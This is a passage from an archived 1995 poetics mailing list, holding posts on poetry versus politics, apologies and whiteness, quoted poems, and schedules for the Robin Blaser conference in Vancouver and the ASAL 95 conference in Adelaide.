yet always adjacent to politics etc.

I hate to spoil a fun argument, but it's one of those arguments that can only end up with a recognition of a measure of one and a measure of the other.

When Spencer Selby wants to deny theory, I defend theory as being a condition of any poem whatsoever. When Ron and Tom want to insist on politics I want to side with Ed Foster and defend poetry's distinctiveness (and autonomy).

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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394. Edward Foster

Re: poeticslist serve and desire / the 39 steps

Tue 18 Apr 1995

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angelica's a carrot in my book, but angelo is honey in my thigh. the angelus is golden and the repeitition wears a groove along the page. sir norman wears illusion on his sleeve. the island's set aside for thieves.

↑ Index

395. Charles Watts

Panels, Panelists, Readings at the Recovery of the Public World Conference, June 1-4, 1995

Wed 19 Apr 1995

THE RECOVERY OF THE PUBLIC WORLD: A CONFERENCE AND POETRY FESTIVAL IN HONOUR OF ROBIN BLASER, HIS POETRY AND POETICS. JUNE 1-4, 1995, AT EMILY CARR INSTITUTE OF ART AND DESIGN, GRANVILLE ISLAND, VANCOUVER, B.C. SCHEDULE OF EVENTS (AS OF TODAY, APRIL 18, 1995).

The following is the schedule of events at the Recovery of the Public World Conference and Poetry Festival in honour of Robin Blaser, to be held at Emily Carr Institute of Art and Design, Vancouver, B.C., June 1st through fourth, 1995, together with the names of people who will be taking part:

Thursday, June 1st, 8:30 a.m. - 9:25 a.m. Conference registration; pick-up of registration packets and other conference materials, in the foyer of the theatre at Emily Carr Institute of Art and Design.

Note: all panels & lunchtime readings will be held in the theatre at Emily Carr.

Thursday, June 1st, 9:30 a.m. - 12 noon. Panel: COMPANIONS: SELF, OTHER, COMMUNITY. Chaired by Jenny Penberthy and Charles Watts. Panelists: Michael Boughn, Daniel Burgoyne, Clayton Eshleman, Peter Gizzi, Michael McClure, Kristin Prevallet, Nathaniel Tarn.

Thursday, June 1st, 12 noon - 1:15 p.m. Lunch break.

Thursday, June 1st, 1:15 p.m. - 1:55 p.m. Reading in the theatre, Emily Carr. Readers: Deanna Ferguson, Aaron Shurin, Dorothy Trujillo Lusk.

Thursday, June 1st, 2:00 p.m. - 5:00 p.m. Panel: COMPOSITION & PERFORMANCE. Chaired by Daphne Marlatt & Phyllis Webb. Panelists: David Bromige, Peter Middleton, Jed Rasula, David Sullivan, Phyllis Webb.

Thursday, June 1st, 5:00 p.m. - 7:00 p.m. Opening of the gallery exhibit, IN SEARCH OF ORPHEUS: SOME BAY AREA POETS & PAINTERS, 1945-1965. In the Charles H. Scott Gallery, Emily Carr Institute of Art and Design.

(Thursday, June 1st, 5:00 p.m. - 7:30 p.m. Dinner break.)

Thursday, June 1st, 8:00 p.m. - 11:00 p.m. Festival opening, the theatre, Emily Carr. Opening address by Charles Bernstein. Readings by Charles Bernstein, Norma Cole, Daphne Marlatt, Michael Palmer. Performance by Catriona Strang and Francois Houle. Michael Ondaatje introduces Robin Blaser, who will give a talk. Doors open at 7:30 p.m.

Friday, June 2nd, 8:30 a.m. - 9:25 a.m. Conference registration, continued.

Friday, June 2nd, 9:30 a.m. - 12 noon. Panel: 'NO LONGER OR NOT YET': TRANSLATION & THE RECOVERY OF THE PUBLIC WORLD. Chaired by Norma Cole and Michael Palmer. Panelists: Colin Browne, Hilary Clark, Pierre Joris, Susan Vanderborg, Pasquale Verdicchio.

Friday, June 2nd, 12 noon - 1:15 p.m. Lunch break.

Friday, June 2nd, 1:15 p.m. - 1:55 p.m. Reading in the theatre, Emily Carr. Readers: Bruce Boone, Andrew Schelling, Pasquale Verdicchio.

Friday, June 2nd, 2:00 p.m. - 5:00 p.m. Panel: HETEROLOGIES. Chaired by Susan Howe and Nathaniel Mackey. Panelists: Steve Dickison, Michele Leggott, D.S. Marriott, Leslie Scalapino, Andrew Schelling.

Friday, June 2nd, 7:30 p.m. - midnight: The Banquet, A FEAST OF COMPANIONS, honouring Robin and invited guests. At Heritage Hall, 3102 Main Street, Vancouver. A salmon barbecue catered by Brian DeBeck. Hosted by Kevin Killian and Ellen Tallman. Stories, music, greetings, poems. Hilarity for all at Heritage Hall!

Saturday, June 3rd, 9:30 a.m. - 12 noon. Panel: ETHICS & AESTHETICS. Chaired by Lisa Robertson and Jery Zaslove. Panelists: Michael Davidson,

Robert Hullot-Kentor, Paul Kelley, Andrew Klobucar, David Levi Strauss, Anne Waldman.

Saturday, June 3rd, 12 noon - 1:15 p.m. Lunch break.

Saturday, June 3rd, 1:15 p.m. - 1:55 p.m. Reading in the theatre, Emily Carr. Readers: David Bromige, Norman Finkelstein, Jed Rasula.

Saturday, June 3rd, 2:00 p.m. - 5:00 p.m. Panel: POETICS: THEORY & PRACTICE. Chaired by Charles Bernstein and Miriam Nichols. Panelists: Rachel Blau DuPlessis, Alan Golding, Steve McCaffery, Tom Marshall, Miriam Nichols.

Saturday, June 3rd, 5:00 p.m. - 7:30 p.m. Dinner break.

Saturday, June 3rd, 8:00 p.m. - midnight: Reading at Freddy Wood Theatre, University of British Columbia. Doors open at 7:30 p.m. Readers: Peter Culley, Michael Davidson, Rachel Blau DuPlessis, Clayton Eshleman, Robert Hogg, Susan Howe, Pierre Joris, Kevin Killian, Joanne Kyger, Steve McCaffery, Michael McClure, Karen Mac Cormack, Nathaniel Mackey, D.S. Marriott, Peter Middleton, Jerome Rothenberg, George Stanley, David Levi Strauss, Nathaniel Tarn, Anne Waldman.

Sunday, June 4th, 9:30 a.m. - 12 noon. Panel: EROS & POIESIS. Chaired by Bruce Boone and Sharon Thesen. Panelists: Kevin Killian, Daphne Marlatt, Peter Quartermain, George Stanley, Alan Vardy.

Sunday, June 4th, 12 noon - 1:15 p.m. Lunch break.

Sunday, June 4th, 1:15 p.m. - 1:55 p.m. Reading in the theatre, Emily Carr. Readers: Susan Clark, Peter Gizzi, Michele Leggott.

Sunday, June 4th, 2:00 p.m. - 5:00 p.m. Panel: POETICS: FORM & STRUCTURE. Chaired by Pauline Butling and Wystan Curnow. Panelists: Charles Altieri, Pauline Butling, Don Byrd, Joseph Conte, Norman Finkelstein.

Sunday, June 4th, 5:00 p.m. - 7:30 p.m. Dinner break.

Sunday, June 4th, 8:00 p.m. - 11:00 p.m. Festival and conference finale, at Freddy Wood Theatre, University of British Columbia. Readers: E.D. Blodgett, George Bowering, Michael Ondaatje, Lisa Robertson, Leslie Scalapino, Sharon Thesen, Fred Wah, Robin Blaser.

Please note that program times may vary slightly; the list of persons reading is also subject to some change.

Please note also that some pre-conference events have been planned, including a reading and talk by Michael McClure in the new Special Collections and Rare Books rooms at the W.A.C. Bennett Library, Simon Fraser University, Wednesday, May 31st, time to be announced. There will also be a reading by

Karen Mac Cormack at the Kootenay School of Writing, 112 West Hastings, Vancouver, at 8:00 p.m., Wednesday, May 31st.

Changes in this program will be announced as they are confirmed.

Registration fees for the conference are as follows:

Entire Package, including panels, readings and banquet: $100; students and fixed incomes: $60.

Panels and readings only: $80; students and fixed incomes: $40.

Banquet only: $25.

Please pay in Canadian funds. If this proves difficult, however, international money orders in U.S. funds for the equivalent amount at current exchange rates will be accepted.

Please note that seating for this conference is limited. If you plan to register for the conference and/or the banquet, it is advisable to do so by the beginning of May. Additional tickets to the Saturday and Sunday night readings will be available at some Vancouver bookstores and at the door on the evening of the reading; admission: $10, $5 for students and fixed incomes.

ACCOMMODATION: Some Recommended Hotels.

The Sylvia Hotel: 1154 Gilford St, Vancouver, BC V6G 2P6, tel: [redacted]. Regular rates: $55-$95 plus 17% tax.

The Buchan Hotel: 1906 Haro St, Vancouver, BC V6G 1H7, tel: [redacted]; Fax [redacted]. Rates: $75-$85 plus 17% tax.

The Granville Island Hotel: 1253 Johnston St, Vancouver, BC V6H 3R9, tel: [redacted]; fax [redacted]. Rates: $150-$195 plus 17% tax. N.B. Hotel rates are in Canadian funds.

More inexpensive accommodation:

Simon Fraser University Campus Accommodations: 212 McTaggart-Cowan Hall, Burnaby, BC V5A 1S6, tel [redacted]; fax: [redacted]. Dorm single: $19-$29. Dorm twin: $48.30. Townhouse unit: $105.80. On the SFU campus, Burnaby Mountain, about 30-40 minutes' drive to the conference site.

University of British Columbia: 5961 Student Union Boulevard, Vancouver, BC V6T 2C9, tel: [redacted]; fax: [redacted]. Suite for 3: $95; for 2: $74; for one: $56. Single: $24-$32. Twin: $48. On the UBC campus, about twenty-thirty minutes' drive to the conference.

Other inexpensive accommodation listings available on request.

To register or for further information, write to The Recovery of the Public World, c/o The Institute for the Humanities, East Academic Annex, Simon

Fraser University, Burnaby, B.C. V5A 1S6; tel (voice mail): [redacted]; fax: [redacted]. Or you can reach me by e-mail at the following address: [redacted]

Charles Watts
for the organizers,
The Recovery of the Public World

↑ Index

396. Tony Green
Cecil Taylor, poet
Wed 19 Apr 1995

Over Easter, I remembered that Bob Callahan published a Taylor poem in
New World Journal, Spring, 1979. pp.7-15
from the Mysteries....

".....lamb's robe oxen tail
of such memories down'd in mud
Youth postulates presence unkempt
before weighted Deities whorish
to cave, back to knees, on all fours,
Genuflecting to the curvature of
forgotten caves painted bodies
you, them in age. pretend was
never a part, you in youth's arrogance
not knowing.
Hendrix, whatever he meant, was out of
Black church commercialized rodent
to Mafia spiel made palatable.
Those closest loved not waht he was
(Much less the ambivalences time would resolve)
but drawn, they were to figure
encapsulated in mythical invulnerability
modern capitalistic gold...."

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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397. Lindz Williamson
Not supposed to be here
Wed 19 Apr 1995

You're not supposed to be here
Not supposed to looking for me
This is the poor side of silence
This is the with noise of abandoned appliance
This is captivity

You need details
You need the name of a street
You're not supposed to be here in the the name of G-d

You're waiting for me again
Waiting at the mouth of the tunnel of love
But where is the cold little river
Where is the painted boat

If only the hummingbird
would sip at your desire
If only the green leaves
could use your longing
If only a woman were looking over your shoulder
a at map of the eternal city

It seems that nothing can take you away
from this odd memorial
Nothing that's been made or born
seperate you from
the fiction of my absence

All the messiahs are with me in this
You're not supposed to be here
All the messiahs agree
You're not supposed to be looking for me.

Leonard Cohen- Death of a Lady's Man

Warning

To love a man wholly
Love him
feet first
    head down
    eyes cold

closed
in depression

It is too easy to love
a surfer
white eyes
Godliness &
bronze
In the bright sun

Alice Walker- Her Blue Body

↑ Index

398. **Blair Seagram**
Re: Left handed and loving it
Wed 19 Apr 1995

Eric to Lindz:

Lindz, you are absolutely correct when you say apologizing isn't enough, but forgetting just allows it to keep happening. Thanks, Eric.

I haven't been following the last few days closely. And I would say to Lindz, hang in there. And I would say to Eric, not apologizing, does not mean forgetting. What it means for me is letting go of something that cannot help me move forward. Things must change. They inevitably do change. The question is how they will change. I think if one can try to open and grow personally, it goes a long way, or perhaps it's the idea that the longest journey is begun with the first step or whatever that line is.

The thing that annoys me about politics and sides, is that it's so facile. People not to mention circumstances are complex. It is good to look at as many sides or perspectives as possible. When one speaks of governments (not revolutions) one speaks of change at a snail's pace if one speaks of change at all, in any real sense of the word. I think Foucault said something in an essay on power, to the effect that what we need today is to break away from the institutions that continue to mold us in ways we no longer wish to be molded.

I am not so politically minded. I may stand here on one issue and there on another. I don't buy into one agenda. For me it's a personal trip.

↑ Index

399. **Blair Seagram**
Re: Definition: Language Poetry
Wed 19 Apr 1995

I have seen the problems that arose with definitions of post modern and deconstruction. I sometimes wonder if it has to do with their use in several disciplines or is it that we are still too close to it.

I am wondering if someone can give me a definition or several of language poetry.

Blair

↑ Index

400. **Michael Boughn**
The whiteness of the whale
Wed 19 Apr 1995

"Social construction" is the "phlogiston" of 90's discourse.

Mike
[redacted]

↑ Index

401. **maria damon**
Re: I feel pink
Wed 19 Apr 1995

In message <[redacted]> UB Poetics discussion group
writes:
> > Obviously we can't give back all those left hands, but we can do huge tv
> campaigns and say "oops sorry, leftis are cool", "Hire a lefty", " lefties
> do it better". NOw does that make you feel any better, or wouldn't you,
> the one handed, previously lefthanded person prefer that we, the right
> hands actually did something useful with all that publicity money and
> found a way to replace that hand or atleast compensate you for the emense
> inconvience and humiliation you've suffered for the last forty years.
>
> Lindz

it seems that if someone has been wronged, and feels a formal apology has symbolic significance tht would restore his/her dignity and mark an acknowledgment on the part of the wrongdoer, it is not the wrongdoer's task to point out the practical futility of apologies and "refuse to apologize" on the grounds that it is not in the interest of the wronged. that phenomenon, of the

power-majority deciding what is in the best interest of the subordinated, perpetuates an unjust hierarchy where those in power don't think they have to listen.--maria damon
>
>

↑ Index

402. **Ted Pelton**
Re: pink
Wed 19 Apr 1995

LindZ,

Yes, it was abrupt of me, and for that I "apologize." But you said you valued my "incite" -- a clever pun if that's what you meant. Nonetheless, the first time we talk and I begin by shouting. It's just I have heard the argument "what are we supposed to do, keep kissing ass?" argument more times than I care to, which where I live usually means, "Can we go back to the way we used to do things," and usually doesn't even ask but simply glorifies a past which never existed, in terms of, e.g., Norman Rockwell, Ronald Reagan, whoever else you care to include. Ted

↑ Index

403. **eric pape**
Re: pink
Wed 19 Apr 1995

Lindz: I think Ted is right on this point. I don't know where he is speaking from, but in Louisiana, incidentally an extremely interesting and complex place or I wouldn't be here, any discussion at all about "oppression," "genocide," the rights of women, are likely to draw the most antagonistic stares. One of my students is the daughter of a state senator (Woody Jenkins who also owns the only local TV station). THis senator recently said "at one time, only people who owned property voted. We're a long way from that, unfortunately." I just happened to catch this, and what amazes me is that there has been no protest, no outcry, except from me and I am a, quote, California yankee." I should say that Louisiana folks are the most friendly I've ever encountered, but keep the doors locked at night. If I sound defensive on these posts, it's because I am. Forgive me if I sound too doctrinairre, but I do it mostly to remind myself that there are other points of view than the LA. Also, I urge you to remember that we haven't even come to close to winning the elephant wars, and they've got all the ammunition so far. Thanks, Eric.

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404. **Mark Roberts**

ASAL 95 PROVISIONAL PROGRAM (Forwarded)

Wed 19 Apr 1995

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AUSTRALIAN WRITING ONLINE is a small press distribution service which we hope will help Australian magazines, journals and publishers to reach a much wider audience through the internet. As a first step we will be posting information and subscription details for a number of magazines and publishers to a number of discussion groups and lists. We hope to build up a large emailing list which includes as many libraries as possible. If you know of a list or discussion group which you think might be worthwhile posting to or, if you would like to receive future postings, please contact AWOL directly on [redacted].

Please note that [redacted] is a temporary address until we set up our own address sometime later this year

****

ASAL 95
PROVISIONAL PROGRAM

Association for the Study of Australian Literature
Annual Conference, 2-7 July 1995
Institute Building, Adelaide

SUNDAY 2 JULY

3.00-5.00pm REGISTRATIONS
St Mark's College
46 Pennington Terrace, North Adelaide

6.00pm WELCOME BUFFET
St Mark's College

MONDAY 3 JULY

9.00-10.30am KEYNOTE ADDRESS
Paul Carter
Crossing the Line: Space as Colonialism

11.00-12.30 CARTOGRAPHIES
Simon Ryan
Cartographic Eyes: Maps and Ideology

Heather Wearne
Post-Colonial Cartographies: Australian Maps of Belonging

Ian McLean
Imagining 'Australia': Paul Carter's Migrantology

2.00-3.00pm GENDER AND GEOGRAPHY
Susan K Martin
Gender, Genera, Genre and Geography: Colonial Women's Writing and the Uses
of Botany

Judith Johnston
'Woman's Testimony': Louisa Anne Meredith's Notes and Sketches of New South
Wales

3.30-5.00pm REGIONAL LANDSCAPES
Deane Fergie
Evanescent, Oscillating, Never Quite Settled Upon ... The Outback As Cultural Mirage

Ruth Barcan
Natural Histories: Gender, Race and Regional Consciousness on the Gold Coast

Martin Leer
Distance in Australian Literary Geography: The Case of Randolph Stow and Thea Astley

5.15pm BOOK LAUNCH

8.00pm READINGS
SA Writer's Centre

Tom Keneally
Drusilla Modjeska
Peter Goldsworthy
Winner ALS Gold Medal

TUESDAY 4 JULY

9.00-10.30am SITES OF DESIRE
Ivor Indyk
The Place of Desire

Robert Dixon
Unfamiliar Selves: Ion L. Idriess' Torres Strait Trilogy

Catherine Pratt
"A Coupla Kings": Masculine Romance in Summer of the Seventeenth Doll

11.00-12.30 Panel: FICTOCRITICISM
Stephen Muecke
Anne Brewster
Heather Kerr
Gail Jones

2.00-3.00pm DOROTHY GREEN LECTURE
Drusilla Modjeska
Drawn From Life: A Portrait of Stella Bowen

3.30-5.00pm ABORIGINALITY AND TEXTUALITY
Leigh Dale
Living on the Ground: Lee Cataldi

Lyn McCredden
Mapping Religious Belief in Australian Culture

Kay Torney
Filling Terra Nullius: Boney in the Deathspace

5.15pm BOOK LAUNCH

8.00pm READINGS
Fotini Epanomitis
Matt Rubenstein
Gig Ryan
Winner, Mary Gilmore Award

WEDNESDAY 5 JULY

9.00-10.30am METAPHORS OF SPATIALITY
Kerryn Goldsworthy
The Space of Spinsterhood: Letters to the Female Middle Class Emigration Society 1862-1882

Kevin Gilding
Space Exploration: Australia, The World, Catherine Martin and Whatever

Allison Cadzow
Home Making: Australian Women Explorers' Written Representations Of Landscape/Space

11am DAY TRIP
LUNCH, WINE TASTING, AND READINGS
Woodstock Winery and Coterie
Barry Westburg
Jeri Kroll
Sudesh Mishra
Geoff Goodfellow

THURSDAY 6 JULY

9.00-10.30am CULTURE/IDENTITY/NATION
Graham Cullum
New Worlds and Words: The Poetry of Dimitris Tsaloumas

Anna Johnston
Australian Autobiography: The Politics of Making Post-Colonial Space

Manfred Mackenzie
Christina Stead and the "Natural Uncanny"

11.00-12.30 Panel: REWRITING THE MAINSTREAM
Rosemary Van den Berg
Maureen Watson
Ania Walwicz
Fotini Epanomitis

12.30-2.00pm AGM/LUNCH

2.00-3.00pm CAPTURED/CAPTIVITY NARRATIVES
Kate Darian-Smith
Captured Narratives

Gerry Turcotte
Mrs Fraser's Ravenous Appetite: The Taste for Cannibalism in Captivity Narratives

3.30-5.00pm READINGS
Ania Walwicz
Rosemary Van den Berg
Maureen Watson
Dorothy Porter

5.15pm BOOK LAUNCH

8.00pm NOT THE PARODY NIGHT
St. Mark's College

FRIDAY 7 JULY

9.00-10.30am RE-FIGURING SEXUALITY
Carol Merli and Paul Salzman
(Im)Printing/Erasing Woman

Terry Goldie
Patrick White's Homo Australis

Deborah Hunn
'Basic Bullshit': lesbian detective fiction and the Australian lesbian and gay press

11.00-12.30 Panel: SITUATING AUSTRALIAN LITERATURE Intersections with the
Multidisciplines
Sue Sheridan
John Docker
Christine Nicholls
Sue Gillett

2.00-3.00pm GLOBALIZATION/REGIONALISM
McKenzie Wark
Virtual Geography: Living with Global Media Events

Bernd Schulte
In Pursuit of Australian Cultural Theory - Impressions of a European

3.30-5.00pm FEMINIST READINGS
Rose Lucas
Tracking the Body: Dorothy Porter's The Monkey's Mask

Susan Midalia
The Contemporary Female Bildungsroman and the Politics of Optimism

Cath Ellis
Class War and Gender Conflict in The Goldfields Trilogy

5.15pm BOOK LAUNCH

7.30pm CONFERENCE DINNER
Henry's Brasserie, Ayer's House

For registration forms and further information please contact

Phil Butterss
University of Adelaide
Ph: (08) [redacted] Fax: (08) [redacted]
e-mail: [redacted]

Amanda Nettelbeck
Flinders University
Ph: (08) [redacted] Fax: (08) [redacted]
e-mail: [redacted]

This project has been assisted by the Commonwealth Government through the Australia Council, its arts funding and advisory body. We are also very grateful

for assistance from the South Australian Department for the Arts and Cultural Development.

Philip Butterss Email: [redacted]
Department of English Tel: (08) [redacted]
University of Adelaide Fax: (08) [redacted]
ADELAIDE SA 5005

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405. Edward Foster
Re: politics
Wed 19 Apr 1995

no, eric, for me that's not the context, but rather a sense that poetry is rooted (bad word, but for now . . .) in something other than the theological, merely discursive, propositional (hey!), which is to say, political. wow! rather: mallarme, egypt usw.

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406. I.LIGHTMAN
Re: Hello & more new music/new writing
Wed 19 Apr 1995

Hallo all,

I just wanted to respond, in one post, to lots of different lines that have developed since I logged on six days ago. This, no doubt, means that if anyone is like me they will not read the comments not attached to the strain they're following, or, read comments if they like the person, often because that person has made a real connection (leading to a backchannel) among all the hubbub of the list proper. I feel like I'm made some great personal connections, but as a sort of parasite on the list, yet many seem to feel like that too. POETICS is the city of us sub-urbs.

Anyway,

I really liked Aldon's detailed remarks, and all of the alerting to racism issues, but I think some of what Lindz is saying about the *interpersonal* dynamics is interesting; this expression "kissing ass" is interesting. One can be very engaged with the struggle to end racism, and still be manoeuvred into playing the feed for an acting-out against those who look like oneself (white, male, bisexual, in my case) who have acted in a bigoted way towards one's interlocutor in the past. Sorry, that's badly put. I mean, I can, in an interpersonal connection with somebody who has been attacked by other white

male bisexuals in the past say "yes, that's really bigoted of them, I won't treat you like that, I hate that behaviour", and what happens next, and over some weeks in some of my experiences, is that the person (attacked woman, attacked gay person who's been mistreated by a bisexual, attacked mixed race person etc) takes out his/her revenge on me as if I were the the other white male bisexual who attacked them. I know that the use of psychology has often been to excuse racism eg Susan Schultz's point about Ebert reading Once There Were Warriors as about alcoholism not pakeha racism against maori. But there can be such a thing as a good psychology by someone not racist. By which I mean, I have myself often stored up very angry feelings of vengefulness against someone who mistreated me and shut their ears to hearing my anger at their mistreatment of me; I dream what I'd say to them, I see them in the street and imagine having a showdown there and then. If I do this, I suspect others do too. And I see the situations I'm describing as the attacked person saying "ah ha, a stage to deliver the lines I've been writing in my head". This is human, and I'm not painting myself as a victim of it; I often do now withstand this stored-up outburst and then quietly comment that I agree, and I'm not like that myself. But I wonder if this is in any way adjacent to what Lindz was saying...

I also wanted to welcome Herb, as another fan of New Music, and an enthusiast for the human voice. I share Herb's frustration at the rhetorical use of the term "voice" in poetic criticism. Voice-work, in music and sound compositions, is very exciting, and poets who *are* proud of having a "voice" often display none of the abilities to introduce warmth, space etc into syllables and phonemes that singers have (indeed, what i *love* about a lot of language poetry is precisely that it *does* use this kind of singer's attention to syllables and phonemes). The singing voice doesn't have to be singular anymore than the poetic voice; I think of the way that someone like Bob Dylan loves the way his voice changes, and uses the new feel of it as *material*, just as some poets use new font or new life circumstances as *material*. What I like about Herb's emphasis is it stops us attacking the voice per se, and reminds us that it is over-simplification, trying too hard for consistency, that is at fault *in all arts*.

I'd better also, though it's a dead strain by now, respond a little to Miles's response to my report on the now infamous London reading. He's right that I read, though as part of an open floor not as an invited reader, for five minutes at the very end of the reading, and he's right that I'm male too, actually I do include myself in the sweeping attacks on over-representation of males, but then I counter that a little by the odd fact of not really being fully represented, since I am never invited, or put on the bill, as Miles often is. I certainly don't condemn anyone for living in London, as I think Miles knows that two of my very favourite poets, Denise Riley and Caroline Bergvall, live in London. I think the point I made in both my reports from England and New Zealand is that the

scene is so stupidly small that no-one can take honest criticism but has to think of the critic as someone anti-male or anti-London and so the criticisms are discountable.

Ira

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407. **Edward Foster**
Re: re-politics again
Wed 19 Apr 1995

---

tony, yes/no, problem is not to have a god calling it/her/him "social process." maybe.

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408. **Marisa A Januzzi**
throttled by angels
Wed 19 Apr 1995

Hi Chris--

I would be very curious to hear about what poets you first read, and everyone else, what got you into this. Partly I ask as a teacher who is always looking for the best poetential seduction material.

For me it happened like this: I got excited by the existential challenge of "My Shadow," by Robert Louis Stevenson, which I had to memorize when I was six. (Isolation, overactive mind, imaginary friends etc etc.) Then I only wrote the stuff until sixth grade, when I began to rummage in the desk I used during my (very boring) class on the history of the Americas. I don't know whose desk it was, but they were male and older, and he was harboring a copy of Ferlinghetti's *Coney Island of the Mind.* Maybe-- and this is interesting to me-- maybe I responded out of curiosity about the Italian name. The book was color, color, color all the way home, in a surrealistic sense.

You?

Marisa Januzzi

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409. **Ryan Knighton**
Re: Jack Smith
Wed 19 Apr 1995

Anybody recognize where this came from:

"I don't think I like your manners, ma'am."
"Well, i'm not selling them."

and,

"Thanks for the ride, the three cigarettes and for not laughing at my theories on life."

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410. Ryan Knighton
Re: pink
Wed 19 Apr 1995

There is a quality in the discussion of "whiteness" and the arguments that surface and re-surface which bothers me. Or perhaps i enjoy it in an odd way. The quality is Faulknerian. I think Ted said/ wrote to Lindz that "It's just i have heard the argument "what are we supposed to do, keep kissing ass?" argument more times than I care to". True enough. It is a kind of re-telling of the same point (of view) overnover in hopes that it will open and blossom into something new and meaningful: in hopes that there is a point of arrival. But the result, in my mind and senses, is suffocating. Instead of arriving at some kind of closure in the discussion, we have generated an enclosure in which nothing extra-ordinarily new can be cultivated. Yes, i think it quite Faulknerian. Anyone?

Ryan

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411. Blair Seagram
Re: Left handed etc.
Wed 19 Apr 1995

Dear Lindz & Eric:

I sent you a message early this morning around 3am when I couldn't sleep, so decided to read my mail. I can't locate that info about Foucault and the power essay. I read it long ago and don't seem to have a copy. I may not have said it quite right. I believe it is not just about breaking away from the institution but also about changing the institution itself. That another topic I won't get into now. A friend has arrived for dinner.

TC/PG
Blair

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412. **Tony Green**
Re: re-politics again
Wed 19 Apr 1995

Ed, yes/no & yes/no, on both "sides" of the issue. The issue's topology is possibly *not* one with a polarity and opposite sides to it. Shifting phases, eruptions of geysers, gaseous dispersal, -- instances of alternative models. It's to do with power of adjudication, censure, censorial process (god is a good word for it). And can poems be subjected to political analysis without remainder?

And
can that political analysis be subjected to a further political analysis
without remainder?
And whose analysis in either case?

Maybe the ground needs to shift to rhetoric, to the advantages of discourses which are inclusive of fable, scenarios, personae and image as against those that seek to exclude them. Figuring it that way Politics is a name for a species of discourse and the results of poetry are apt to be indeterminate as to their effects. Also beyond the intentional control of the writer(s) or speaker(s). A lot of it is down to luck, not prior theorizing of any kind. What political discourse can do is isolate the factors of publication and artist/audience relations and fasten on aspects of content (mainly) and, with Langpo, maybe on formal structures too (from the point of view of reception theory and reading and writing practice --defiance of syntactic norms, of narrative forms for instance). What else can it do? What it can promote at its worst is PC (discipline-guilt dominance-submission relations between theorist and poet). The poet's role may not be easily contained. Transgression has long been a part of it. That may be interpreted politically. But if dogma, conventions, disciplines and rules, judgments by academies, or similar gods, get in the way of composiiton and performance, watch out for poetry.

Am I reading the continuing argument correctly?

By the way an attempt
to censor the net by NZ
politicians is following
the U.S. pattern. Becos
there's porn getting to minors,
institutions shd be held
responsible for employees
behaviour, and all net users
shd be subjected to control.

witrh

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

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413. Chris Stroffolino
Re: throttled by angels
Thu 20 Apr 1995

Well, Marisa, the beats were biggies...but the poets who came to my undergraduate school were Gerald Stern (who I later read with, ugh!) and Daniel Hoffman--he read from his Southian epic, BROTHERLY LOVE. PBS was taping it and I think the camera panned the audience and caught me nodding off...John Yau came (this was 1985) and turned me onto the New York School (O'Hara, Koch, Ashbery) and this lead me to Tzara.... One night (wasted) i was reading Tzara to a friend of mine who just came back from England and he pulled out his big Bertolt Brecht collected and said you know what Bertolt would say about this, and then made a reproachful noisy gesture...and so i experienced my first "poetry battle"--but, hey, I like them both...and until this semester when I worked with Pierre Joris neither of these writers were taught in English departments (--no doubt coz they're "not in the american grain")...and perhaps it was the fact that they weren't corrupted by academia that I was able to enjoy them more than even the "alternative" writers who were taught when i got my M.A. at Temple back when Jesse Jackson was a brief frontrunner in the democratic primaries.... Well, that's one version of my "THROTTLING" Any others? Chris

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414. Spencer Selby
Re: re-politics again
Thu 20 Apr 1995

Dear Tony,

Thanks for sensible thoughts. I would remind you that I never denied theory per se. What I denied were claims that are made for theory and uses to which it is often put.

Before that, I became Mr. AntiTheory simply because I maintained that art has its own level. This was my way of saying that art/poetry exceeds all the discourse surrounding it (a claim that seems obvious to me, but which others were drawing ominous conclusions from).

You and I had an exchange in which you seemingly equated theory with poetics. I responded that I'm interested in the space where theory and poetics don't overlap.

Another thing I remember: Cris Cheek said every poem's a theory and I answered that that's the kind of theory I like best.

My Best To You,
Spencer

On Wed, 19 Apr 1995, Tony Green wrote:

> *The relation between something called poetry and something called*
> *politics is deeply obscure.*
> *To say that poetry is always political*
> *collapses one into the other.*
>
> *Poetry (and Art) likewise, and just as plausibly or impluasibly,*
> *is always philosophy, always*
> *religion, always sociolgy. In other words there is*
> *no poetry, no*
> *poetics, no "poetics"list as an in any way identifiable issue or set*
> *of issues.*
> *All its issues can be covered by political discourses,*
> *religious discourses, theoretical discourses, sociological and*
> *anthropological discourses?*
> *Poetology becomnes a sub-branch of some*
> *other - ology too glibly.*
>
> *(What was that you were saying a*
> *month or so ago Spencer Selby apropos theory*
> *when I tried to*
> *intervene in the debate over theory?)*
>
> *Denying that poetry is political is necessary in the face*
> *of the threat to submit poetry to the terms and judgments of*
> *political doctrine or religious doctrine or the proposals of*
> *some moral code.*
>
> *Insisting that poetry is political, religious and moral is*
> *just as necessary when poetry claims complete*
> *autonomy from social process*
>
> *The argument goes on, as if it can ever be resolved*

> *on one side or the other. Well, can it? Isn't it required for poetics to exist as something to write and talk about that it be something other than politics etc, while yet always adjacent to politics etc.*
>
> *I hate to spoil a fun argument, but it's one of those arguments that can only end up with a recognition of a measure of one and a measure of the other.*
>
> *When Spencer Selby wants to deny theory, I defend theory as being a condition of any poem whatsoever. When Ron and Tom want to insist on politics I want to side with Ed Foster and defend poetry's distinctiveness (and autonomy).*
>
> *Tony Green,*
> *e-mail:* [redacted]
> *post: Dept of Art History,*
> *University of Auckland,*
> *Private Bag 92019,*
> *Auckland, New Zealand*
> *Fax: 64 9-*[redacted]
> *Telephone: 64 9* [redacted] *ext. 8981 or 7276*

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415. **Mark Roberts**

Re: 1st mark

Thu 20 Apr 1995

> *Unreliable too. 1 Aus is ahead, not Team NZ.*
>
> *Tony Green,*
> *e-mail:* [redacted]
> *post: Dept of Art History,*
> *University of Auckland,*
> *Private Bag 92019,*
> *Auckland, New Zealand*
> *Fax: 64 9-*[redacted]
> *Telephone: 64 9* [redacted] *ext. 8981 or 7276*

Don't worry I'm sure 1 Aus will sink if it looks like winning!!

Mark Roberts
Australian Writing OnLine

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416. Kenneth Sherwood
The poetics of whiteness
Thu 20 Apr 1995

